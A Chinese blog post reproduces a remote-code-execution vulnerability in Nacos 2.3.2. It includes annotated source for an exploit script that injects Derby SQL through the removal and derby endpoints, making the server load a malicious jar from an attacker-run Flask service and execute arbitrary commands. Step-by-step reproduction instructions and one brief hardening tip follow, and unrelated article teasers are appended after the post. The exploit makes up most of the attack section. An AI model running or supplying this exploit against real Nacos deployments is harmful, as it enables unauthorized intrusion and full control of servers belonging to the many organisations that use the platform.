Nacos rce-0day漏洞复现(nacos 2.3.2)
Nacos rce-0day漏洞复现(nacos 2.3.2)
NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。影像版本:nacos2.3.2或2.4.0版本指纹:fofa:app=“NACOS”

从 Github 官方介绍文档可以看出国内不少大企业都在使用该系统,而从 issue 中也可以看出其 CVE 漏洞多且利用难度较低
Nacos系统历史CVE漏洞
1、CVE-2021-29441认证绕过
2、QVD-2023-6271默认密钥
3、CNVD-2020-67618 SQL注入
4、CNVD-2023-45001反序列化
搭建Nacos 2.3.2 环境
下载地址:https://github.com/alibaba/nacos/releases

1、解压nacos文件

2、创建nacos数据库

执行mysql-schema.sql文件

3、配置数据源nacos/conf/application.properties

4、配置startup.cmd

5、启动Nacos在bin目录下打开cmd,输入startup.cmd -m standalone启动

访问http://localhost:8848/nacos

漏洞分析
漏洞描述
RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统,导致严重的安全问题。
漏洞的核心在于 Nacos 的某些接口没有严格的权限控制,攻击者可以通过特制的请求向 Nacos 服务器发送恶意数据,从而执行任意代码。需要登录到后台才能利用漏洞涉及到 Nacos 在处理反序列化数据时的缺陷,攻击者能够通过特定的 JSON 数据结构,远程执行恶意代码。以利用该漏洞读取敏感文件、执行系统命令。
poc
在Github上已删除

代码分析—service.py
Flask应用程序提供了一个简单的文件下载服务。用户访问 /download 路由时,服务器会返回一个解码后的二进制文件。这个文件最初是通过Base64编码存储在 payload 变量中的。应用程序的主机和端口信息从 config.py 模块中读取

#定义一个路由 /download,当用户访问这个URL时,调用 download_file 函数,请求download接口就会返回jar的内容
@app.route(‘/download’)
def download_file():
#将Base64编码的payload 解码为二进制数据。
data = base64.b64decode(payload)
#创建一个HTTP响应对象,包含解码后的数据,并 设置MIME类型为 application/octet-stream(表示二进制文件)。
response = Response(data, mimetype=“application/octet-stream”)
#可以设置响应头,指示浏览器将内容作为附件下载,并指定文件名(这里被注释掉了)。
# response.headers[“Content-Disposition”] = “attachment; filename=file.bin”
#返回响应对象。
return response
代码分析—exploit.py
exploit.py会连接Nacos,然后请求Nacos的参数中注入了连接service.py的IP、端口,以及需要RCE的指令。请求到达nacos之后,利用deby数据库的漏洞,恶意请求service.py服务的接口,加载jar包内容。然后再输入RCE指令给jar包,运行这个命令。

#按装订区域中的绿色按钮以运行脚本
def exploit(target, command, service, args):
#构建用于发送请求的URL
removal_url = urljoin(target, ‘/nacos/v1/cs/ops/data/removal’)
derby_url = urljoin(target, ‘/nacos/v1/cs/ops/derby’)
print(“正在进行碰撞,请耐心等待!!”)
#循环----直到成功利用漏洞
for i in range(0, sys.maxsize):
#id:生成一个随机字符串,用于标识SQL注入的payload
id = ‘’.join(random.sample(‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’, 8))
#post_sql:构建SQL注入的payload,安装一个恶意的Java函数
post_sql = “”“CALL sqlj.install_jar(‘{service}’, ‘NACOS.{id}’, 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(‘derby.database.classpath’,‘NACOS.{id}’)\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME ‘test.poc.Example.exec’\n”“”.format(id=id, service=service);
#option_sql:构建SQL语句,利用恶意函数执行命令
option_sql = “UPDATE ROLES SET ROLE=‘1’ WHERE ROLE=‘1’ AND ROLE=S_EXAMPLE_{id}(‘{cmd}’)\n”.format(id=id, cmd=command);
#get_sql:构建SQL查询,执行命令并获取结果 get_sql = “select * from (select count(*) as b, S_EXAMPLE_{id}(‘{cmd}’) as a from config_info) tmp /ROWS FETCH NEXT/”.format(id=id, cmd=command);
# get_sql = “select * from users /ROWS FETCH NEXT/”.format(id=id,cmd=command);
files = {‘file’: post_sql}
#requests.post:发送POST请求,上传恶意SQL
#requests.get:发送GET请求,执行命令并获取结果。
post_resp = requests.post(url=removal_url, files=files, verify=False, headers=header, timeout=5)
post_json = post_resp.json()
if args.url:
print(post_json)
if (post_json[‘code’] == 404 or post_json[‘code’] == 403) and “File” not in post_json[‘message’]:
print(Fore.YELLOW + f"[-] {target} 可能不存在Nacos_Rce漏洞\n" + Fore.RESET)
break
if post_json.get(‘message’, None) is None and post_json.get(‘data’, None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={‘sql’: get_sql}, verify=False, headers=header,
timeout=5)
print(Fore.RED + f"\n[+] {target} 存在Nacos_Rce漏洞,执行命令:{command}" + Fore.RESET)
print(Fore.RED + f"[+] 返回的结果如下: {get_resp.text}" + Fore.RESET)
break
if name == ‘main’:
#service:构建下载恶意Jar文件的URL。
service = ‘http://{host}:{port}/download’.format(host=config.server_host, port=config.server_port)
#target 和 command:从用户输入获取目标URL和要执行的命令。
target = ‘http://127.0.0.1:8848’
command = ‘calc’
target = input(‘请输入目录URL,默认:http://127.0.0.1:8848:’) or target
command = input(‘请输入命令,默认:calc:’) or command
#exploit:调用漏洞利用函数。
exploit(target=target, command=command, service=service)
漏洞复现
第一步:安装依赖requests和flask
第二步:配置config.py中的ip和端口,需要安装依赖

第三步;启动恶意服务端:python server.py,把上面的恶意类通过b64压缩处理,加载在fask服务端当作服务器资源

第四步:执行exploit.py,输入命令即可执行.默认执行calc

安全加固建议
- 对于使用单机模式的用户,Nacos社区建议开启鉴权机制以增强安全性。这可以通过设置相关配置实现,确保他人无法滥用接口。
- 在文件application.properties开启鉴权
开启鉴权之前

开启鉴权之后

相关文章:
Nacos rce-0day漏洞复现(nacos 2.3.2)
Nacos rce-0day漏洞复现(nacos 2.3.2) NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。影像版本:nacos2.3.2或2.4.0版本指纹:fofa:app“NACOS” 从 Github 官方介绍文档可以看出国…...
yjs04——matplotlib的使用(多个坐标图)
1.多个坐标图与一个图的折线对比 1.引入包;字体(同) import matplotlib.pyplot as plt import random plt.rcParams[font.family] [SimHei] plt.rcParams[axes.unicode_minus] False 2.创建幕布 2.1建立图层幕布 一个图:plt.fig…...
MOS管和三极管有什么区别?
MOS管是基于金属-氧化物-半导体结构的场效应晶体管,它的控制电压作用于氧化物层,通过调节栅极电势来控制源漏电流。MOS管是FET中的一种,现主要用增强型MOS管,分为PMOS和NMOS。 MOS管的三个极分别是G(栅极),D(漏极)&…...
医院多参数空气质量监控和压差监测系统简介@卓振思众
在现代医院管理中,确保患者和医疗人员的健康与安全是首要任务。为实现这一目标,医院需要依赖高科技设施来维持最佳的环境条件。特别是,多参数空气质量监测系统和压差监测系统在这一方面发挥了不可替代的作用。【卓振思众】多参数空气质量监测…...
[项目实战]EOS多节点部署
文章总览:YuanDaiMa2048博客文章总览 EOS多节点部署 (一)环境设计(二)节点配置(三)区块信息同步(四)启动节点并验证同步EOS单节点的环境如何配置 (一…...
setImmediate() vs setTimeout() 在 JavaScript 中的区别
setImmediate() vs setTimeout() 在 JavaScript 中的区别 在 JavaScript 中,setImmediate() 和 setTimeout() 都用于调度任务,但它们的工作方式不同。 JavaScript 的异步特性 JavaScript 以其非阻塞、异步行为而闻名,尤其是在 Node.js 环境…...
【Java文件操作】文件系统操作文件内容操作
文件系统操作 常见API 在Java中,File类是用于文件和目录路径名的抽象表示。以下是一些常见的方法: 构造方法: File(String pathname):根据给定的路径创建一个File对象。File(String parent, String child):根据父路径…...
关于若依flowable的安装
有个项目要使用工作流功能,在网上看了flowable的各种资料,最后选择用若依RuoYi-Vue-Flowable这个项目来迁移整合。 一、下载项目代码: 官方项目地址:https://gitee.com/shenzhanwang/Ruoyi-flowable/ 二、新建数据库ÿ…...
猜数字困难版(1-10000)
小游戏,通过提示每次猜高或猜低以及每次猜中的位数,10次内猜中1-10000的一个数。 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthde…...
ASPICE术语表
术语来源描述活动Automotive SPICE V4.0由利益相关方或参与方执行的任务用参数Automotive SPICE V4.0应用参数是包含了在系统或软件层级可被更改的数据的软件变量,他们影响系统或软件的行为和属性。应用参数的概念有两种表达方式:规范(分别包括变量名称、值域范围、…...
Knife4j:打造优雅的SpringBoot API文档
1. 为什么需要API文档? 在现代软件开发中,API文档的重要性不言而喻。一份清晰、准确、易于理解的API文档不仅能够提高开发效率,还能降低前后端沟通成本。今天,我们要介绍的Knife4j正是这样一款强大的API文档生成工具,它专为Spring Boot项目量身打造,让API文档的生成…...
数学建模笔记—— 多目标规划
数学建模笔记—— 多目标规划 多目标规划1. 模型原理1.1 多目标规划的一般形式1.2 多目标规划的解1.3 多目标规划的求解 2. 典型例题3. matlab代码实现 多目标规划 多目标规划是数学规划的一个分支。研究多于一个的目标函数在给定区域上的最优化。又称多目标最优化。通常记为 …...
【鸿蒙HarmonyOS NEXT】页面之间相互传递参数
【鸿蒙HarmonyOS NEXT】页面之间相互传递参数 一、环境说明二、页面之间相互传参 一、环境说明 DevEco Studio 版本: API版本:以12为主 二、页面之间相互传参 说明: 页面间的导航可以通过页面路由router模块来实现。页面路由模块根据页…...
SonicWall SSL VPN曝出高危漏洞,可能导致防火墙崩溃
近日,有黑客利用 SonicWall SonicOS 防火墙设备中的一个关键安全漏洞入侵受害者的网络。 这个不当访问控制漏洞被追踪为 CVE-2024-40766,影响到第 5 代、第 6 代和第 7 代防火墙。SonicWall于8月22日对其进行了修补,并警告称其只影响防火墙的…...
关于SAP标准委外(带料外协)采购订单信息
业务背景: 业务部门提出需要将售料外协方式变更为带料外协,带料外协实际业务存在一个委外订单存在多次发料,且每次发票需要进行齐套发料,不同批次的发料涉及物料替代。在半成品收货时需要进行对发料的组件进行扣料。 需求分析&a…...
SpringBoot整合WebSocket实现消息推送或聊天功能示例
最近在做一个功能,就是需要实时给用户推送消息,所以就需要用到 websocket springboot 接入 websocket 非常简单,只需要下面几个配置即可 pom 文件 <!-- spring-boot-web启动器 --><dependency><groupId>org.springframewo…...
使用 QEMU 模拟器运行 FreeRTOS 实时操作系统
文章目录 QEMU 官网QEMU 文档QEMU 简介QEMU 安装QEMU 命令启动虚拟机串口控制台监控命令行 FreeRTOS安装编译工具FreeRTOS 源码RISC-V-Qemu-virt_GCC 示例编译 RISC-V-Qemu-virt_GCC启动虚拟机运行 FreeRTOS QEMU 官网 https://www.qemu.org/ QEMU 文档 https://www.qemu.or…...
Oracle EBS中AR模块的财务流程概览
应收账款 (AR) 模块是Oracle E-Business Suite (EBS) 中另一个重要的财务管理模块,主要用于管理企业销售过程中的账款回收。下面是AR模块中的一些关键财务流程及其详细说明: 1. 销售订单管理 创建销售订单:当客户下单时,销售人员…...
Minitab 的直方图结果分析解释
Minitab 的直方图结果分析解释 步骤 1:评估关键特征 检查分布的尖峰和散布。评估样本数量对直方图外观的影响。 标识尖峰(即,条的最高聚类): 尖峰表示样本中最常见的值。评估样本的散布以了解数据的变异程度。例如…...
AgentRE:用智能体框架提升知识图谱构建效果,重点是开源!
发布时间:2024 年 09 月 13 日 Agent应用 AgentRE: An Agent-Based Framework for Navigating Complex Information Landscapes in Relation Extraction 在复杂场景中,关系抽取 (RE) 因关系类型多样和实体间关系模糊而挑战重重,影响了传统 “…...
当Windows 11 LTSC失去应用商店时,如何轻松找回完整的应用生态?
当Windows 11 LTSC失去应用商店时,如何轻松找回完整的应用生态? 【免费下载链接】LTSC-Add-MicrosoftStore Add Windows Store to Windows 11 24H2 LTSC 项目地址: https://gitcode.com/gh_mirrors/ltscad/LTSC-Add-MicrosoftStore 你是否曾经为W…...
快速免费解锁网易云音乐NCM格式:ncmdumpGUI完整使用指南
快速免费解锁网易云音乐NCM格式:ncmdumpGUI完整使用指南 【免费下载链接】ncmdumpGUI C#版本网易云音乐ncm文件格式转换,Windows图形界面版本 项目地址: https://gitcode.com/gh_mirrors/nc/ncmdumpGUI 你是否曾在网易云音乐下载了心爱的歌曲&am…...
基于LLM的长文本摘要工具SumGPT:从原理到本地化部署实战
1. 项目概述:一个为长文本摘要而生的智能工具最近在折腾一些文档处理的工作流,发现一个挺普遍但很烦人的痛点:面对动辄几十页的PDF报告、冗长的会议纪要或是海量的研究论文,想要快速抓住核心要点,简直像大海捞针。手动…...
OpenSpeedy终极指南:如何通过开源游戏加速工具突破帧率限制
OpenSpeedy终极指南:如何通过开源游戏加速工具突破帧率限制 【免费下载链接】OpenSpeedy 🎮 An open-source game speed modifier. 项目地址: https://gitcode.com/gh_mirrors/op/OpenSpeedy 你是否厌倦了游戏中的卡顿和帧率限制?Open…...
OpenClaw 小龙虾智能体联动 DeepSeek 大模型部署实操攻略
前置准备 获取小龙虾open claw一键安装包(www.totom.top)并安装电脑端已成功安装并正常启动OpenClaw,右上角 Gateway 状态显示在线设备网络通畅,可正常访问 DeepSeek 开放平台拥有可接收验证码的手机号 / 微信,用于平…...
树莓派扩展板EYESPI Pi Beret:简化硬件连接,加速原型开发
1. 项目概述:为什么我们需要EYESPI Pi Beret?玩树莓派的朋友,尤其是喜欢捣鼓屏幕和传感器的,肯定都经历过那个阶段:面对一堆杜邦线,对照着屏幕驱动板的引脚定义,一个个数着树莓派的GPIO针脚&…...
物联网安防系统故障排查与ESP8266固件刷写实战指南
1. 物联网安防系统故障排查实战做物联网安防系统,最怕的就是“哑火”。你花了好几天时间,把ESP8266、Raspberry Pi、MQTT Broker、Adafruit.IO和IFTTT像搭积木一样连起来,满心期待它能在关键时刻给你发条短信。结果,门被推开了&am…...
Arm Iris组件参数化建模与调试实践
1. Arm Iris组件概述与核心价值Arm Iris组件是Fast Models仿真平台中的关键模块,它为芯片设计验证和软件开发提供了高度参数化的虚拟原型环境。作为一名长期从事Arm架构开发的工程师,我发现Iris组件的设计理念完美体现了"配置即硬件"的思想——…...
FastAPI+AI应用脚手架:模块化架构与生产级实践指南
1. 项目概述:一个为AI应用量身定制的FastAPI脚手架如果你正在寻找一个能快速启动、结构清晰且功能强大的AI应用后端框架,那么fastapi-genai-boilerplate这个项目绝对值得你花时间研究。它不是一个简单的“Hello World”示例,而是一个面向生产…...
独立开发者如何利用 Taotoken 以更低成本试验多种 AI 模型能力
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 独立开发者如何利用 Taotoken 以更低成本试验多种 AI 模型能力 对于独立开发者或小型工作室而言,在产品开发的早期阶段…...
